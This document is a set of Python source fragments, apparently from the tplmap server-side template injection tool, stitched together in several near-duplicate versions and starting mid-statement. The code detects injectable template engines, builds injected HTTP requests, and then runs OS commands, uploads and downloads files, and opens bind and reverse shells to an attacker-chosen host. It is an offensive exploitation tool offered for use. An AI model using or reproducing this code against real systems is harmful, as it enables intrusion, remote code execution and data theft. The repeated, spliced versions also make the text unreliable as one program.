) call = current_plugin.inject else: call = current_plugin.render if channel.args.get('tpl_code'): print(call(channel.args.get('tpl_code'))) elif channel.args.get('tpl_shell'): log.info( 'Inject multi-line template code. Press ctrl-D to send the lines' ) MultilineShell(call, '%s > ' % (channel.data.get('engine', ''))).cmdloop() else: log.error( 'No code evaluation capabilities have been detected on the target' ) # Perform file upload local_remote_paths = channel.args.get('upload') if local_remote_paths: if channel.data.get('write'): local_path, remote_path = local_remote_paths with open(local_path, 'rb') as f: data = f.read() current_plugin.write(data, remote_path) else: log.error( 'No file upload capabilities have been detected on the target') # Perform file read remote_local_paths = channel.args.get('download') if remote_local_paths: if channel.data.get('read'): remote_path, local_path = remote_local_paths content = current_plugin.read(remote_path) with open(local_path, 'wb') as f: f.write(content) else: log.error( 'No file download capabilities have been detected on the target' ) # Connect to tcp shell bind_shell_port = channel.args.get('bind_shell') if bind_shell_port: if channel.data.get('bind_shell'): urlparsed = urlparse.urlparse(channel.base_url) if not urlparsed.hostname: log.error("Error parsing hostname") return for idx, thread in enumerate( current_plugin.bind_shell(bind_shell_port)): log.info('Spawn a shell on remote port %i with payload %i' % (bind_shell_port, idx + 1)) thread.join(timeout=1) if not thread.isAlive(): continue try: telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout=5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug("Error connecting to %s:%i %s" % (urlparsed.hostname, bind_shell_port, e)) else: log.error( 'No TCP shell opening capabilities have been detected on the target' ) # Accept reverse tcp connections reverse_shell_host_port = channel.args.get('reverse_shell') if reverse_shell_host_port: host, port = reverse_shell_host_port timeout = 15 if channel.data.get('reverse_shell'): current_plugin.reverse_shell(host, port) # Run tcp server try: tcpserver = TcpServer(int(port), timeout) except socket.timeout as e: log.error("No incoming TCP shells after %is, quitting." % (timeout)) else: log.error( 'No reverse TCP shell capabilities have been detected on the target' )
def detect(self): # Get user-provided techniques techniques = self.channel.args.get('technique') # Render technique if 'R' in techniques: # Start detection self._detect_render() # If render is not set, check unreliable render if self.get('render') == None: self._detect_unreliable_render() # Else, print and execute rendered_detected() else: # If here, the rendering is confirmed prefix = self.get('prefix', '') render = self.get('render', '%(code)s') % ({'code' : '*' }) suffix = self.get('suffix', '') log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' % ( self.plugin, repr(prefix).strip("'"), repr(render).strip("'"), repr(suffix).strip("'"), ) ) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Set basic info self.set('engine', self.plugin.lower()) self.set('language', self.language) # Set the environment self.rendered_detected() # Time-based blind technique if 'T' in techniques: # Manage blind injection only if render detection has failed if not self.get('engine'): self._detect_blind() if self.get('blind'): log.info('%s plugin has confirmed blind injection' % (self.plugin)) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Set basic info self.set('engine', self.plugin.lower()) self.set('language', self.language) # Set the environment self.blind_detected()
def detect(self): context_num = len([ c for c in self.contexts if (c.get('level') <= self.channel.args.get('level')) ]) # Print what it's going to be tested log.info('Testing reflection on %s engine with tag %s%s' % (self.plugin, self.render_tag.replace('\n', '\\n') % ({ 'payload': '*' }), ' and %i variation%s' % (context_num, 's' if context_num > 1 else '') if context_num else '')) # If no weak reflection has been detected so far if not self.get('render_tag'): # Start detection self._detect_context() # Print message if header or trailer are still unset if self.get('header_tag') == None or self.get( 'trailer_tag') == None: if self.get('render_tag'): log.info( 'Detected unreliable reflection with tag %s, continuing' % (self.get('render_tag').replace('\n', '\\n')) % ({ 'payload': '*' })) # If tags found previously are the same as current plugin, skip context detection if not (self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag): self._detect_context() # Exit if header or trailer are still different if not (self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag): return prefix = self.get('prefix', '').replace('\n', '\\n') render_tag = self.get('render_tag').replace('\n', '\\n') % ({ 'payload': '*' }) suffix = self.get('suffix', '').replace('\n', '\\n') log.info('Confirmed reflection with tag \'%s%s%s\' by %s plugin' % (prefix, render_tag, suffix, self.plugin)) self.detect_engine() # Return if engine is still unset if not self.get('engine'): return self.detect_eval() self.detect_exec() self.detect_write() self.detect_read()
def _detect_context(self): # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA*randB) # Prepare first detection payload and header payload = self.render_fmt % ({ 'payload': '%s*%s' % (randA, randB) }) header_rand = rand.randint_n(10) header = self.header_fmt % ({ 'header' : header_rand }) trailer_rand = rand.randint_n(10) trailer = self.trailer_fmt % ({ 'trailer' : trailer_rand }) log.debug('%s: Trying to inject in text context' % self.plugin) # First probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.inject( payload = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = '', suffix = '' ): self.set('render_fmt', self.render_fmt) self.set('header_fmt', self.header_fmt) self.set('trailer_fmt', self.trailer_fmt) return log.debug('%s: Injection in text context failed, trying to inject in code context' % self.plugin) # Loop all the contexts for ctx in self.contexts: # If --force-level skip any other level force_level = self.channel.args.get('force_level') if force_level and force_level[0] and ctx.get('level') != int(force_level[0]): continue # Skip any context which is above the required level if not force_level and ctx.get('level') > self.channel.args.get('level'): continue # The suffix is fixed suffix = ctx.get('suffix', '') % () # Generate closures whether prefix has closure format string and 'closure' element if '%(closure)s' in ctx.get('prefix') and ctx.get('closures'): closures = self._generate_closures(ctx) prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : '' } ) # Else, inject a fake element to perform a single run else: closures = [ '' ] prefix = '%(closure)s' + ctx.get('prefix') log.info('%s plugin is testing %s*%s code context escape with %i mutations%s' % ( self.plugin, repr(prefix).strip("'"), repr(suffix).strip("'"), len(closures), ' (level %i)' % (ctx.get('level', 1)) if self.get('level') else '' ) ) for closure in closures: # Format the prefix with closure prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : closure } ) if expected == self.inject( payload = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = prefix, suffix = suffix ): self.set('render_fmt', self.render_fmt) self.set('header_fmt', self.header_fmt) self.set('trailer_fmt', self.trailer_fmt) self.set('prefix', prefix) self.set('suffix', suffix) return log.debug('%s: Injection in code context failed, trying raw payload with no header and trailer' % self.plugin) # As last resort, just inject without header and trailer and # see if expected is contained in the response page result = self.channel.req(payload) if result and expected in result: self.set('render_fmt', self.render_fmt) return
from core import checks from core.channel import Channel from utils.loggers import log import traceback version = '0.4' def main(): args = vars(cliparser.options) if not args.get('url'): cliparser.parser.error('URL is required. Run with -h for help.') # Add version args['version'] = version checks.check_template_injection(Channel(args)) if __name__ == '__main__': log.info(cliparser.banner % version) try: main() except (KeyboardInterrupt): log.info('Exiting.') except Exception as e: log.critical('Exiting: %s' % e) log.debug(traceback.format_exc())
def req(self, injection): get_params = deepcopy(self.get_params) post_params = deepcopy(self.post_params) header_params = deepcopy(self.header_params) url_params = self.base_url # Pick current injection by index inj = deepcopy(self.injs[self.inj_idx]) if inj['field'] == 'URL': position = inj['position'] url_params = self.base_url[:position] + injection + self.base_url[position+1:] elif inj['field'] == 'POST': if inj.get('part') == 'param': # Inject injection within param old_value = post_params[inj.get('param')] del post_params[inj.get('param')] if self.tag in inj.get('param'): new_param = inj.get('param').replace(self.tag, injection) else: new_param = injection post_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, replace value by index if self.tag in post_params[inj.get('param')][inj.get('idx')]: post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection) else: post_params[inj.get('param')][inj.get('idx')] = injection elif inj['field'] == 'GET': if inj.get('part') == 'param': # If injection replaces param, save the value # with a new param old_value = get_params[inj.get('param')] del get_params[inj.get('param')] if self.tag in inj.get('param'): new_param = inj.get('param').replace(self.tag, injection) else: new_param = injection get_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, inject value in the correct index if self.tag in get_params[inj.get('param')][inj.get('idx')]: get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection) else: get_params[inj.get('param')][inj.get('idx')] = injection elif inj['field'] == 'Header': # Headers can't contain \r or \n, sanitize injection = injection.replace('\n', '').replace('\r', '') if inj.get('part') == 'param': # If injection replaces param, save the value # with a new param old_value = get_params[inj.get('param')] del header_params[inj.get('param')] if self.tag in inj.get('param'): new_param = inj.get('param').replace(self.tag, injection) else: new_param = injection header_params[new_param] = old_value if inj.get('part') == 'value': # If injection in value, replace value by index if self.tag in header_params[inj.get('param')]: header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection) else: header_params[inj.get('param')] = injection if self.tag in self.base_url: log.debug('[URL] %s' % url_params) if get_params: log.debug('[GET] %s' % get_params) if post_params: log.debug('[POST] %s' % post_params) if len(header_params) > 1: log.debug('[HEDR] %s' % header_params) try: result = requests.request( method = self.http_method, url = url_params, params = get_params, data = post_params, headers = header_params, proxies = self.proxies, # By default, SSL check is skipped. # TODO: add a -k curl-like option to set this. verify = False ).text except requests.exceptions.ConnectionError as e: if e and e[0] and e[0][0] == 'Connection aborted.': log.info('Error: connection aborted, bad status line.') result = None else: raise if utils.config.log_response: log.debug("""< %s""" % (result) ) return result
def check_template_injection(args): channel = Channel(args) current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) # Skip if user specify a specific --engine if args.get('engine') and args.get( 'engine').lower() != current_plugin.plugin.lower(): continue current_plugin.detect() if channel.data.get('engine'): break # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal( """Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""" ) return # Print injection summary _print_injection_summary(channel) # If actions are not required, prints the advices and exit if not any(f for f, v in args.items() if f in ('os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell') and v): log.info( """Rerun tplmap providing one of the following options:%(exec)s%(write)s%(read)s""" % ({ 'exec': '\n --os-cmd or --os-shell to access the underlying operating system' if channel.data.get('exec') else '', 'write': '\n --upload LOCAL REMOTE to upload files to the server' if channel.data.get('write') else '', 'read': '\n --download REMOTE LOCAL to download remote files' if channel.data.get('read') else '' })) return # Execute operating system commands if channel.data.get('exec'): if args.get('os_cmd'): print current_plugin.execute(args.get('os_cmd')) elif args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop() # Execute operating system commands if channel.data.get('engine'): if args.get('tpl_code'): print current_plugin.inject(args.get('os_cmd')) elif args.get('tpl_shell'): log.info( 'Inject multi-line template code. Double empty line to send the data.' ) MultilineShell(current_plugin.inject, '%s $ ' % (channel.data.get('engine', ''))).cmdloop() # Perform file write if channel.data.get('write'): local_remote_paths = args.get('upload') if local_remote_paths: local_path, remote_path = local_remote_paths with open(local_path, 'rb') as f: data = f.read() current_plugin.write(data, remote_path) # Perform file read if channel.data.get('read'): remote_local_paths = args.get('download') if remote_local_paths: remote_path, local_path = remote_local_paths content = current_plugin.read(remote_path) with open(local_path, 'wb') as f: f.write(content)
def check_template_injection(channel): current_plugin = detect_template_injection(channel) # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal("""Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""") return # Print injection summary _print_injection_summary(channel) # If actions are not required, prints the advices and exit if not any( f for f,v in channel.args.items() if f in ( 'os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', 'tpl_code', 'bind_shell', 'reverse_shell' ) and v ): log.info( """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s""" % ( { 'execute': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\t\tExecute shell commands' if channel.data.get('execute') and not channel.data.get('execute_blind') else '', 'execute_blind': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\tExecute shell commands' if channel.data.get('execute_blind') else '', 'bind_shell': '\n --bind-shell PORT\t\t\tConnect to a shell bind to a target port' if channel.data.get('bind_shell') else '', 'reverse_shell': '\n --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port' if channel.data.get('reverse_shell') else '', 'write': '\n --upload LOCAL REMOTE\tUpload files to the server' if channel.data.get('write') else '', 'read': '\n --download REMOTE LOCAL\tDownload remote files' if channel.data.get('read') else '', } ) ) return # Execute operating system commands if channel.args.get('os_cmd') or channel.args.get('os_shell'): # Check the status of command execution capabilities if channel.data.get('execute_blind'): log.info("""Blind injection has been found and command execution will not produce any output.""") log.info("""Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.""") if channel.args.get('os_cmd'): print current_plugin.execute_blind(channel.args.get('os_cmd')) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute_blind, '%s (blind) $ ' % (channel.data.get('os', ''))).cmdloop() elif channel.data.get('execute'): if channel.args.get('os_cmd'): print current_plugin.execute(channel.args.get('os_cmd')) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop() else: log.error('No system command execution capabilities have been detected on the target.') # Execute template commands if channel.args.get('tpl_code') or channel.args.get('tpl_shell'): if channel.data.get('engine'): if channel.data.get('blind'): log.info("""Only blind execution has been found. Injected template code will not produce any output.""") call = current_plugin.inject else: call = current_plugin.render if channel.args.get('tpl_code'): print call(channel.args.get('tpl_code')) elif channel.args.get('tpl_shell'): log.info('Inject multi-line template code. Press ctrl-D to send the lines') MultilineShell(call, '%s > ' % (channel.data.get('engine', ''))).cmdloop() else: log.error('No code evaluation capabilities have been detected on the target') # Perform file upload local_remote_paths = channel.args.get('upload') if local_remote_paths: if channel.data.get('write'): local_path, remote_path = local_remote_paths with open(local_path, 'rb') as f: data = f.read() current_plugin.write(data, remote_path) else: log.error('No file upload capabilities have been detected on the target') # Perform file read remote_local_paths = channel.args.get('download') if remote_local_paths: if channel.data.get('read'): remote_path, local_path = remote_local_paths content = current_plugin.read(remote_path) with open(local_path, 'wb') as f: f.write(content) else: log.error('No file download capabilities have been detected on the target') # Connect to tcp shell bind_shell_port = channel.args.get('bind_shell') if bind_shell_port: if channel.data.get('bind_shell'): urlparsed = urlparse.urlparse(channel.base_url) if not urlparsed.hostname: log.error("Error parsing hostname") return for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)): log.info('Spawn a shell on remote port %i with payload %i' % (bind_shell_port, idx+1)) thread.join(timeout=1) if not thread.isAlive(): continue try: telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout = 5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug( "Error connecting to %s:%i %s" % ( urlparsed.hostname, bind_shell_port, e ) ) else: log.error('No TCP shell opening capabilities have been detected on the target') # Accept reverse tcp connections reverse_shell_host_port = channel.args.get('reverse_shell') if reverse_shell_host_port: host, port = reverse_shell_host_port timeout = 5 if channel.data.get('reverse_shell'): current_plugin.reverse_shell(host, port) # Run tcp server try: tcpserver = TcpServer(int(port), timeout) except socket.timeout as e: log.error("No incoming TCP shells after %is, quitting." % (timeout)) else: log.error('No reverse TCP shell capabilities have been detected on the target')
#!/usr/bin/env python from utils import cliparser from core import checks from core.channel import Channel from utils.loggers import log version = '0.1d' def main(): args = vars(cliparser.options) if not args.get('url'): cliparser.parser.error('URL is required. Run with -h for help.') checks.check_template_injection(Channel(args)) if __name__ == '__main__': log.info(cliparser.banner % version) try: main() except (KeyboardInterrupt): log.info('Exiting.') except Exception as e: log.critical('Exiting: %s' % e) raise
def check_template_injection(channel): current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) # Skip if user specify a specific --engine if channel.args.get("engine") and channel.args.get("engine").lower() != current_plugin.plugin.lower(): continue current_plugin.detect() if channel.data.get("engine"): break # Kill execution if no engine have been found if not channel.data.get("engine"): log.fatal( """Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""" ) return # Print injection summary _print_injection_summary(channel) # If actions are not required, prints the advices and exit if not any( f for f, v in channel.args.items() if f in ("os_cmd", "os_shell", "upload", "download", "tpl_shell", "tpl_code", "bind_shell", "reverse_shell") and v ): log.info( """Rerun tplmap providing one of the following options:\n%(execute)s%(write)s%(read)s%(bind_shell)s%(reverse_shell)s%(execute_blind)s""" % ( { "execute": "\n --os-shell or --os-cmd to execute shell commands via the injection" if channel.data.get("execute") and not channel.data.get("execute_blind") else "", "bind_shell": "\n --bind-shell PORT to bind a shell on a port and connect to it" if channel.data.get("bind_shell") else "", "reverse_shell": "\n --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT" if channel.data.get("reverse_shell") else "", "write": "\n --upload LOCAL REMOTE to upload files to the server" if channel.data.get("write") else "", "read": "\n --download REMOTE LOCAL to download remote files" if channel.data.get("read") else "", "execute_blind": "\n --os-cmd or --os-shell to execute blind shell commands on the underlying operating system" if channel.data.get("execute_blind") else "", } ) ) return # Execute operating system commands if channel.args.get("os_cmd") or channel.args.get("os_shell"): # Check the status of command execution capabilities if channel.data.get("execute_blind"): log.info("""Only blind injection has been found, command execution will not produce any output.""") log.info( """A delay string as '&& sleep <delay>' will be appended to your command to return True or False whether it returns successfully or not.""" ) if channel.args.get("os_cmd"): print current_plugin.execute_blind(channel.args.get("os_cmd")) elif channel.args.get("os_shell"): log.info("Run commands on the operating system") Shell(current_plugin.execute_blind, "%s (blind) $ " % (channel.data.get("os", ""))).cmdloop() elif channel.data.get("execute"): if channel.args.get("os_cmd"): print current_plugin.execute(channel.args.get("os_cmd")) elif channel.args.get("os_shell"): log.info("Run commands on the operating system") Shell(current_plugin.execute, "%s $ " % (channel.data.get("os", ""))).cmdloop() else: log.error("No system command execution capabilities have been detected on the target") # Execute template commands if channel.args.get("tpl_code") or channel.args.get("tpl_shell"): if channel.data.get("engine"): if channel.data.get("blind"): log.info("""Only blind execution has been found. Injected template code will not produce any output.""") call = current_plugin.inject else: call = current_plugin.render if channel.args.get("tpl_code"): print call(channel.args.get("tpl_code")) elif channel.args.get("tpl_shell"): log.info("Inject multi-line template code. Press ctrl-D to send the lines") MultilineShell(call, "%s > " % (channel.data.get("engine", ""))).cmdloop() else: log.error("No code evaluation capabilities have been detected on the target") # Perform file upload local_remote_paths = channel.args.get("upload") if local_remote_paths: if channel.data.get("write"): local_path, remote_path = local_remote_paths with open(local_path, "rb") as f: data = f.read() current_plugin.write(data, remote_path) else: log.error("No file upload capabilities have been detected on the target") # Perform file read remote_local_paths = channel.args.get("download") if remote_local_paths: if channel.data.get("read"): remote_path, local_path = remote_local_paths content = current_plugin.read(remote_path) with open(local_path, "wb") as f: f.write(content) else: log.error("No file download capabilities have been detected on the target") # Connect to tcp shell bind_shell_port = channel.args.get("bind_shell") if bind_shell_port: if channel.data.get("bind_shell"): urlparsed = urlparse.urlparse(channel.base_url) if not urlparsed.hostname: log.error("Error parsing hostname") return for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)): log.info("Spawn a shell on remote port %i with payload %i" % (bind_shell_port, idx + 1)) thread.join(timeout=1) if not thread.isAlive(): continue try: telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout=5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug("Error connecting to %s:%i %s" % (urlparsed.hostname, bind_shell_port, e)) else: log.error("No TCP shell opening capabilities have been detected on the target") # Accept reverse tcp connections reverse_shell_host_port = channel.args.get("reverse_shell") if reverse_shell_host_port: host, port = reverse_shell_host_port timeout = 5 if channel.data.get("reverse_shell"): current_plugin.reverse_shell(host, port) # Run tcp server try: tcpserver = TcpServer(int(port), timeout) except socket.timeout as e: log.error("No incoming TCP shells after %is, quitting." % (timeout)) else: log.error("No reverse TCP shell capabilities have been detected on the target")
#!/usr/bin/env python from utils import cliparser from core import checks from utils.loggers import log def main(): args = vars(cliparser.options) if not args.get('url'): cliparser.parser.error('URL is required. Run with -h for help.') checks.check_template_injection(args) if __name__ == '__main__': try: main() except (KeyboardInterrupt): log.info('Exiting.') except Exception as e: log.critical('Exiting: %s' % e) raise